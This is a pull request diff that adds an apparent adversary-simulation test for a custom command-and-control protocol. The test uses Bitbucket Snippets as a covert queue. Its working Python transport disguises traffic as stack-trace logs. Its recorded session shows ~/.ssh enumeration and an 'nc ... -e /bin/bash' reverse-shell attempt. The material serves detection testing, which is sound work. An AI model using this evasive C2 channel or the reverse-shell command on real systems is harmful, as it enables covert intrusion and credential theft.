Merge pull request #86 from ahogue-atlassian/master
Add Custom C2 Protocol - Bitbucket Snippetspatch-7
commit
c3377e74d6
|
@ -0,0 +1,43 @@
|
||||||
|
# Custom Command and Control Protocol
|
||||||
|
|
||||||
|
MITRE ATT&CK Technique: [T1146](https://attack.mitre.org/wiki/Technique/T1094)
|
||||||
|
|
||||||
|
## Communication over Bitbucket Snippets
|
||||||
|
The use of a legitimate service as transport is a common technique to evade detection by masquerading as the legitimate service.
|
||||||
|
|
||||||
|
Below are instructions to run a script to simulate traffic from a malware implant that communicates via a custom protocol implemented in [Bitbucket Snippets](https://confluence.atlassian.com/bitbucket/snippets-719095082.html).
|
||||||
|
|
||||||
|
The malware itself isn't included, just the traffic simulation.
|
||||||
|
|
||||||
|
### Installation
|
||||||
|
|
||||||
|
#### Step 1: Create a new Bitbucket account
|
||||||
|
|
||||||
|
We recommend using a fresh account for this so as not to pollute the snippets of your existing account.
|
||||||
|
|
||||||
|
https://bitbucket.org/account/signup/
|
||||||
|
|
||||||
|
#### Step 2: Include its credentials in `auth.json`
|
||||||
|
In the directory [Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets](Payloads/Custom_Command_and_Control_Protocol_Bitbucket_Snippets):
|
||||||
|
|
||||||
|
```
|
||||||
|
cp auth.json.template auth.json
|
||||||
|
```
|
||||||
|
|
||||||
|
Edit `auth.json` to include the username, email, and password of the Bitbucket account. `auth.json` should not be added to version control.
|
||||||
|
|
||||||
|
### Step 3: Install dependencies
|
||||||
|
```
|
||||||
|
pip install -r requirements.txt
|
||||||
|
```
|
||||||
|
|
||||||
|
### Usage
|
||||||
|
To simulate the network traffic, run:
|
||||||
|
```
|
||||||
|
python replay.py
|
||||||
|
```
|
||||||
|
|
||||||
|
You will need to be using Python 3.
|
||||||
|
|
||||||
|
This will make requests to `bitbucket.org` urls, recorded from an interactive session with the malware.
|
||||||
|
The session recording of the malware is available to view and modify at [traffic_history.json](bitbucket_protocol/traffic_history.json)
|
|
@ -0,0 +1,5 @@
|
||||||
|
{
|
||||||
|
"username": "",
|
||||||
|
"email": "",
|
||||||
|
"password": ""
|
||||||
|
}
|
|
@ -0,0 +1,191 @@
|
||||||
|
import datetime
|
||||||
|
import requests
|
||||||
|
import json
|
||||||
|
|
||||||
|
import functools
|
||||||
|
|
||||||
|
|
||||||
|
class BitbucketTransport():
|
||||||
|
"""Send and recieve arbitrary data to a queue implemented in Bitbucket Snippets.
|
||||||
|
https://confluence.atlassian.com/bitbucket/snippets-719095082.html
|
||||||
|
"""
|
||||||
|
|
||||||
|
TITLE_TEMPLATE = "stacktrace|{time}"
|
||||||
|
SNIPPET_FILE_NAME = "debug.log"
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
with open("auth.json") as f:
|
||||||
|
auth = json.load(f)
|
||||||
|
self.email = auth["email"]
|
||||||
|
self.password = auth["password"]
|
||||||
|
self.username = auth["username"]
|
||||||
|
|
||||||
|
self.BASE_URL = "https://api.bitbucket.org/"
|
||||||
|
self.auth = (self.email, self.password)
|
||||||
|
self.history = []
|
||||||
|
|
||||||
|
def push(self, data):
|
||||||
|
"""Add something to the end of the queue
|
||||||
|
|
||||||
|
Snippets looks like this:
|
||||||
|
push() -> [4, 3, 2, 1, 0 ...] -> pop()
|
||||||
|
The numbers indicate in which order items were added to the queue.
|
||||||
|
0 was added first, 4 last.
|
||||||
|
"""
|
||||||
|
|
||||||
|
self.history.append({
|
||||||
|
"history_type": "push",
|
||||||
|
"data": data
|
||||||
|
})
|
||||||
|
|
||||||
|
# Imitate a stack trace to avoid rasing suspicion.
|
||||||
|
metadata = {
|
||||||
|
"title": self.TITLE_TEMPLATE.format(
|
||||||
|
time=datetime.datetime.utcnow().strftime('%b-%d-%I%M%p-%G')),
|
||||||
|
"is_private": True,
|
||||||
|
}
|
||||||
|
|
||||||
|
# Send the file as a POST request of raw text, not an actual HTTP multipart file.
|
||||||
|
files = {
|
||||||
|
"file": (self.SNIPPET_FILE_NAME, data)
|
||||||
|
}
|
||||||
|
|
||||||
|
res = self._api_post(data=metadata, files=files)
|
||||||
|
|
||||||
|
return res
|
||||||
|
|
||||||
|
def pop(self):
|
||||||
|
"""Remove and return the oldest item in the queue.
|
||||||
|
|
||||||
|
Snippets looks like this:
|
||||||
|
push() -> [4, 3, 2, 1, 0 ...] -> pop()
|
||||||
|
The numbers indicate in which order items were added to the queue.
|
||||||
|
0 was added first, 4 last.
|
||||||
|
"""
|
||||||
|
snips = self.get_all_snippets()
|
||||||
|
if not snips:
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Get the oldest snippet
|
||||||
|
snip = snips[0]
|
||||||
|
|
||||||
|
# Delete it
|
||||||
|
snip_content = self.get_content(snip)
|
||||||
|
self.delete_snip(snip["id"])
|
||||||
|
self.history.append({
|
||||||
|
"history_type": "pop",
|
||||||
|
"data": snip_content
|
||||||
|
})
|
||||||
|
return snip_content
|
||||||
|
|
||||||
|
def peek(self):
|
||||||
|
"""Return the oldest item in the queue.
|
||||||
|
|
||||||
|
Snippets looks like this:
|
||||||
|
push() -> [4, 3, 2, 1, 0 ...] -> pop()
|
||||||
|
The numbers indicate in which order items were added to the queue.
|
||||||
|
0 was added first, 4 last.
|
||||||
|
"""
|
||||||
|
snips = self.get_all_snippets()
|
||||||
|
if not snips:
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Get the oldest snippet
|
||||||
|
snip = snips[0]
|
||||||
|
snip_content = self.get_content(snip)
|
||||||
|
self.history.append({
|
||||||
|
"history_type": "peek",
|
||||||
|
"data": snip_content
|
||||||
|
})
|
||||||
|
return snip_content
|
||||||
|
|
||||||
|
def search_filter(self, filter_, pop=False):
|
||||||
|
"""Find the first snippet that matches the provided filter.
|
||||||
|
Args:
|
||||||
|
filter_: Function that returns True for the snippets we want to match.
|
||||||
|
Returns:
|
||||||
|
The first matching snippet (as a string).
|
||||||
|
"""
|
||||||
|
|
||||||
|
snips = self.get_all_snippets()
|
||||||
|
if not snips:
|
||||||
|
return None
|
||||||
|
|
||||||
|
# Walk the front of the queue until we find the oldest item meant for us.
|
||||||
|
for snip in snips:
|
||||||
|
snip_content = self.get_content(snip)
|
||||||
|
if filter_(snip_content):
|
||||||
|
# We can only pop if we found something.
|
||||||
|
if pop:
|
||||||
|
self.delete_snip(snip["id"])
|
||||||
|
return snip_content
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def pop_filter(self, filter_):
|
||||||
|
return self.search_filter(filter_=filter_, pop=True)
|
||||||
|
|
||||||
|
def peek_filter(self, filter_):
|
||||||
|
return self.search_filter(filter_=filter_, pop=False)
|
||||||
|
|
||||||
|
def delete_snip(self, snip_id):
|
||||||
|
delete_url = "https://bitbucket.org/api/2.0/snippets/" + \
|
||||||
|
self.username + "/" + snip_id
|
||||||
|
requests.delete(delete_url, auth=self.auth)
|
||||||
|
|
||||||
|
def get_content(self, snip):
|
||||||
|
"""Returns the raw text in a snippet object.
|
||||||
|
Args:
|
||||||
|
snip: Dict of snippet metadata from the Bitbucket snippets API
|
||||||
|
Returns:
|
||||||
|
str: The raw snippet text.
|
||||||
|
"""
|
||||||
|
|
||||||
|
url = "/".join(snip["links"]["diff"]["href"].split("/")[:-1])
|
||||||
|
res = self._get_snip_content(url)
|
||||||
|
if res.status_code == 404:
|
||||||
|
# The snippet might have been deleted since we got its id, so we can ignore this.
|
||||||
|
return res.text
|
||||||
|
res.raise_for_status()
|
||||||
|
return res.text
|
||||||
|
|
||||||
|
@functools.lru_cache(maxsize=5)
|
||||||
|
def _get_snip_content(self, url):
|
||||||
|
"""Split out the network request part so we can cache it."""
|
||||||
|
res = requests.get(url + "/files/{filename}".format(filename=self.SNIPPET_FILE_NAME),
|
||||||
|
auth=self.auth)
|
||||||
|
return res
|
||||||
|
|
||||||
|
def _api_get(self, *args, **kwargs):
|
||||||
|
return requests.get(self.BASE_URL + "/2.0/snippets?role=owner",
|
||||||
|
auth=(self.email, self.password),
|
||||||
|
*args, **kwargs)
|
||||||
|
|
||||||
|
def _api_post(self, *args, **kwargs):
|
||||||
|
return requests.post(self.BASE_URL + "/2.0/snippets",
|
||||||
|
auth=(self.email, self.password),
|
||||||
|
*args, **kwargs)
|
||||||
|
|
||||||
|
def get_all_snippets(self):
|
||||||
|
"""Return all snippets in this Bitbucket account."""
|
||||||
|
res = self._api_get()
|
||||||
|
res.raise_for_status()
|
||||||
|
res = res.json()
|
||||||
|
|
||||||
|
# No pagination
|
||||||
|
if "next" not in res:
|
||||||
|
return res["values"]
|
||||||
|
|
||||||
|
snippets = []
|
||||||
|
while True:
|
||||||
|
# Extract the current list of snippets
|
||||||
|
for snip in res["values"]:
|
||||||
|
snippets.append(snip)
|
||||||
|
|
||||||
|
if "next" in res:
|
||||||
|
# Get the next page
|
||||||
|
res = requests.get(res["next"], auth=self.auth)
|
||||||
|
res.raise_for_status()
|
||||||
|
res = res.json()
|
||||||
|
else:
|
||||||
|
return snippets
|
|
@ -0,0 +1,18 @@
|
||||||
|
"""Replay captured traffic from malware using Bitbucket snippets as a C2."""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import bitbucket_transport
|
||||||
|
|
||||||
|
transport = bitbucket_transport.BitbucketTransport()
|
||||||
|
|
||||||
|
with open("traffic_history.json") as f:
|
||||||
|
history = json.load(f)
|
||||||
|
for event in history:
|
||||||
|
print(event)
|
||||||
|
if event.get("history_type") == "push":
|
||||||
|
data = event["data"]
|
||||||
|
transport.push(data)
|
||||||
|
elif event.get("history_type") == "pop":
|
||||||
|
result = transport.pop()
|
||||||
|
if event.get("history_type") == "peek":
|
||||||
|
result = transport.peek()
|
|
@ -0,0 +1 @@
|
||||||
|
requests
|
|
@ -0,0 +1,73 @@
|
||||||
|
[
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "pop"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "push",
|
||||||
|
"data": "{\"type\": \"result\", \"executed_cmd\": \"pwd\", \"result\": \"/home/username/.config/t/\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "pop"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "push",
|
||||||
|
"data": "{\"type\": \"result\", \"executed_cmd\": \"whoami\", \"result\": \"username\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "pop"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "push",
|
||||||
|
"data": "{\"type\": \"result\", \"executed_cmd\": \"ls .ssh\", \"result\": \"Command 'ls .ssh' returned non-zero exit status 2.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "pop"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "push",
|
||||||
|
"data": "{\"type\": \"result\", \"executed_cmd\": \"ls ~/.ssh\", \"result\": \"username-test.pem\\nconfig\\nconfig~\\nid_rsa\\nid_rsa.pub\\nknown_hosts\\nprivate_key.key\\nvagrant\\n\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "pop"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "push",
|
||||||
|
"data": "{\"type\": \"result\", \"executed_cmd\": \"nc 192.168.100.113 -e /bin/bash\", \"result\": \"Command 'nc 192.168.100.113 -e /bin/bash' returned non-zero exit status 1.\", \"client_id\": \"username29f7293d719c414df8cae1c02564b5aa4a026783\"}"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"history_type": "peek"
|
||||||
|
}
|
||||||
|
]
|
|
@ -4,8 +4,8 @@
|
||||||
|------------------------------|-------------------------------|---------------------------------|----------------------------------------|----------------------------------------|---------------------------------|--------------------------|--------------------------------|-----------------------------------------------|-----------------------------------------|
|
|------------------------------|-------------------------------|---------------------------------|----------------------------------------|----------------------------------------|---------------------------------|--------------------------|--------------------------------|-----------------------------------------------|-----------------------------------------|
|
||||||
| [.bash_profile and .bashrc](Persistence/bash_profile_and_bashrc.md) | Dylib Hijacking | Binary Padding | [Bash History](Credential_Access/Bash_History.md) | [Account Discovery](Discovery/Account_Discovery.md) | [AppleScript](Execution/AppleScript.md) | [AppleScript](Execution/AppleScript.md) | Audio Capture | Automated Exfiltration | Commonly Used Port |
|
| [.bash_profile and .bashrc](Persistence/bash_profile_and_bashrc.md) | Dylib Hijacking | Binary Padding | [Bash History](Credential_Access/Bash_History.md) | [Account Discovery](Discovery/Account_Discovery.md) | [AppleScript](Execution/AppleScript.md) | [AppleScript](Execution/AppleScript.md) | Audio Capture | Automated Exfiltration | Commonly Used Port |
|
||||||
| [Browser Extensions](Persistence/Browser_Extensions.md) | Exploitation of Vulnerability | [Clear Command History](Defense_Evasion/Clear_Command_History.md) | Brute Force | Application Window Discovery | Application Deployment Software | Command-Line Interface | Automated Collection | Data Compressed | Communication Through Removable Media |
|
| [Browser Extensions](Persistence/Browser_Extensions.md) | Exploitation of Vulnerability | [Clear Command History](Defense_Evasion/Clear_Command_History.md) | Brute Force | Application Window Discovery | Application Deployment Software | Command-Line Interface | Automated Collection | Data Compressed | Communication Through Removable Media |
|
||||||
| [Create Account](Persistence/Create_Account.md) | Launch Daemon | Code Signing | [Credentials in Files](Credential_Access/Credentials_in_Files.md) | [File and Directory Discovery](Discovery/File_and_Directory_Discovery.md) | Exploitation of Vulnerability | Graphical User Interface | [Browser Extensions](Collection/Browser_Extensions.md) | Data Encrypted | Connection Proxy |
|
| [Create Account](Persistence/Create_Account.md) | Launch Daemon | Code Signing | [Credentials in Files](Credential_Access/Credentials_in_Files.md) | [File and Directory Discovery](Discovery/File_and_Directory_Discovery.md) | Exploitation of Vulnerability | Graphical User Interface | Browser Extensions | Data Encrypted | Connection Proxy |
|
||||||
| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | [Logon Scripts](Persistence/Logon_Scripts.md) | Launchctl | Clipboard Data | Data Transfer Size Limits | Custom Command and Control Protocol |
|
| Dylib Hijacking | Plist Modification | [Disabling Security Tools](Defense_Evasion/Disabling_Security_Tools.md) | Exploitation of Vulnerability | [Network Service Scanning](Discovery/Network_Service_Scanning.md) | [Logon Scripts](Persistence/Logon_Scripts.md) | Launchctl | Clipboard Data | Data Transfer Size Limits | [Custom Command and Control Protocol](Command_and_Control/Custom_Command_and_Control_Protocol.md) |
|
||||||
| Hidden Files and Directories | Process Injection | Exploitation of Vulnerability | Input Capture | [Network Share Discovery](Discovery/Network_Share_Discovery.md) | Remote File Copy | Local Job Scheduling | Data Staged | [Exfiltration Over Alternative Protocol](Exfiltration/Exfiltration_Over_Alternative_Protocol.md) | Custom Cryptographic Protocol |
|
| Hidden Files and Directories | Process Injection | Exploitation of Vulnerability | Input Capture | [Network Share Discovery](Discovery/Network_Share_Discovery.md) | Remote File Copy | Local Job Scheduling | Data Staged | [Exfiltration Over Alternative Protocol](Exfiltration/Exfiltration_Over_Alternative_Protocol.md) | Custom Cryptographic Protocol |
|
||||||
| LC_LOAD_DYLIB Addition | [Setuid and Setgid](Privilege_Escalation/Setuid_and_Setgid.md) | File Deletion | [Input Prompt](Credential_Access/Input_Prompt.md) | [Permission Groups Discovery](Discovery/Permissions_Groups_Discovery.md) | Remote Services | Scripting | Data from Local System | Exfiltration Over Command and Control Channel | Data Encoding |
|
| LC_LOAD_DYLIB Addition | [Setuid and Setgid](Privilege_Escalation/Setuid_and_Setgid.md) | File Deletion | [Input Prompt](Credential_Access/Input_Prompt.md) | [Permission Groups Discovery](Discovery/Permissions_Groups_Discovery.md) | Remote Services | Scripting | Data from Local System | Exfiltration Over Command and Control Channel | Data Encoding |
|
||||||
| [Launch Agent](Persistence/Launch_Agent.md) | Startup Items | [Gatekeeper Bypass](Defense_Evasion/Gatekeeper_Bypass.md) | [Keychain](Credential_Access/Keychain.md) | [Process Discovery](Discovery/Process_Discovery.md) | SSH Hijacking | Source | Data from Network Shared Drive | Exfiltration Over Other Network Medium | Data Obfuscation |
|
| [Launch Agent](Persistence/Launch_Agent.md) | Startup Items | [Gatekeeper Bypass](Defense_Evasion/Gatekeeper_Bypass.md) | [Keychain](Credential_Access/Keychain.md) | [Process Discovery](Discovery/Process_Discovery.md) | SSH Hijacking | Source | Data from Network Shared Drive | Exfiltration Over Other Network Medium | Data Obfuscation |
|
||||||
|
|
Loading…
Reference in New Issue